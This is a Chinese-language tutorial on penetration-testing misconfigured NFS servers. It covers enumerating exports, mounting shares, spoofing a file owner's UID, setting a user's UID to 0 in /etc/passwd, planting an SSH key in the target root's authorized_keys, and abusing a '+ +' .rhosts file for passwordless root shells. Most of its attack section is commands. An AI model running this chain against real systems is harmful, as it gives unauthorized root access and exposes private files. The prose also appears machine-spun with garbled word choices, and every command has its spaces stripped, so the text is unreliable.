网站服务器中的NFS(NetworkFileSystem)即互联网系统文件,是FreeBSD适用的系统文件中的一种,它容许互联网中的电子计算机中间根据TCP/IP共享网络資源。在NFS的运用中,当地NFS的手机客户端运用能够全透明地读写能力坐落于远侧NFS网络服务器上的文档,如同浏览当地文档一样。现如今NFS具有了避免被运用导出来文件夹名称的作用,但遗留下系统软件中的NFS服务项目配备不善,则仍将会遭受故意网络攻击的运用。
发觉NFS服务项目
NFS服务项目的默认设置对外开放端口号为2049/TCP,因而我们能够依靠Nmap来目的性的开展网站安全检测。
2049/tcpopennfs2-4(RPC#100003)
对于NFS的渗透测试
除此之外,我们还可以根据rpcinfo指令来明确服务器上是不是运作或挂载了NFS服务项目。
rpcinfo-pIP
显示信息导出来文件夹名称目录
下列指令将会查找给出服务器的导出来文件夹名称目录,这种信息内容将被用以浏览这种文件夹名称。
showmount-eIP
当showmount指令与下列主要参数一起应用时,能够为我们查找到大量的信息内容,比如:
挂载点
联接的服务器
文件目录
showmountIP//联接的服务器
showmount-dIP//文件目录
showmount-aIP//挂载点
此外,Metasploit架构中也是一个控制模块,能够用于列举导出来文件夹名称。
auxiliary/scanner/nfs/nfsmount
这里我再强烈推荐一个好用的实用工具NFSShell,它能够联接到NFS共享资源并能够协助我们手动式分辨一些普遍的安全隐患。要想应用它我们最先必须安裝下列依靠项:
apt-getinstalllibreadline-devlibncurses5-dev
make
gcc-g-onfsshellmount_clnt.omount_xdr.onfs_prot_clnt.onfs_prot_xdr.onfsshell.o-L/usr/local/lib-lreadline-lhistory-lncurses
./nfsshell
应用下列指令获得导出来文件夹名称目录:
nfs>hostIP//联接NFS服务项目
nfs>export//导出来NFS目录
浏览NFS共享资源
导出来的文件夹名称能够根据建立一个空的当地文件夹名称,并将共享资源挂载到该文件夹名称来浏览,以下图示:
mkdir/temp/
mount-tnfs192.168.1.172://temp-onolock
当取得成功认证共享资源挂载后,我们能够根据下列指令来列举全部的本地磁盘信息内容。
df-h
这时,我们能够像浏览别的文件夹名称一样轻轻松松的浏览共享文件夹。
cd/temp/
ls
UID实际操作
假如针对共享资源上的文档我们沒有载入管理权限应该怎么办?实际上这也非常简单,我们能够仿冒文档使用者的UID来蒙骗NFS网络服务器。下列展现的是NFS文档浏览回绝提醒:
最先,我们根据下列指令来获得文档使用者的UID(客户ID)和GUID(组ID)。
ls-al
然后,我们在当地建立一个新客户,并将该客户的UID和名字改动为与文档使用者同样。
useradd
passwd
UID能够在passwd文档中变更。
vi/etc/passwd
从挂载的文件夹名称实行su指令,并应用以前建立的己知登陆密码,这时当今客户将会被转换到新客户。
su
因为该文档的UID与新客户的UID同样,因而系统软件会误以为它是文档管理权限的使用者,那样我们就能够以一个合理合法的客户真实身份来载入文档的內容了。
往往导致这类难题,缘故取决于导出来文件夹名称仍未设定root_squash选择项。root_squash登陆NFS服务器,应用该共享资源文件目录时等于该文件目录的拥有人。可是假如要以root真实身份应用这一共享资源文件目录的那时候,那麼这一使用人(root)的管理权限将被缩小变成密名使用人,即一般 他的UID与GID都是变为nobody哪个真实身份,以避免滥用权力浏览。
能够在下列部位开启或禁止使用root_squash选择项:
vi/etc/exports
/home192.168.1.47(root_squash)//EnablesRootSquash
/home192.168.1.47(no_root_squash)//DisablesRootSquash
假如passwd文档具备载入管理权限,那麼我们能够根据将一些非权利客户的UID更改成0,使其具备根级別的访问限制。从下面的图中能够看见,我将service客户的UID改动以便0,这时该客户将具有root的访问限制。
根据SSH联接指令再度与总体目标网络服务器创建联接,service将获得到一个root访问限制。
shell浏览
依据储存在导出来文件夹名称中的文档,将会能够根据SSH或RSH和Rlogin来获得到shell访问限制。我们主要来关心下列2个文档:
authorized_keys
rhosts
这2个文档都掩藏在NFS文件夹名称中,我们能够运用下列指令来明确这种文档的存有。
ls-al
转化成一个SSH密匙对并将其公钥加上到受权密匙目录中,那般我们就能够根据NFS网络服务器上的SSH两者之间创建联接了。
cd/root/.ssh/
ssh-keygen-trsa-b4096
cp/root/.ssh/id_rsa.pub/temp/root/.ssh/
catid_rsa.pub>>/temp/root/.ssh/authorized_keys
ssh-i/root/.ssh/id_rsaroot@192.168.1.189
.rhosts文档用于配备什么远程控制服务器或客户能够浏览系统软件上的当地账号。假如.rhosts文档的內容为++标记,则表明它容许来源于互联网上的一切服务器和客户的联接。
cat.rhosts
++
下列指令将容许系统软件的root客户立即联接总体目标系统软件,系统软件将不容易提醒登陆密码键入,由于来源于系统软件的全部客户都将被信赖。
rsh-lrootIP
rlogin-lrootIP
服务器安全部署
或是假如.rhosts的內容不一样,则查验文档将有利于明确什么服务器和客户是可靠的,因而能够在不用登陆密码的状况下开展身份认证。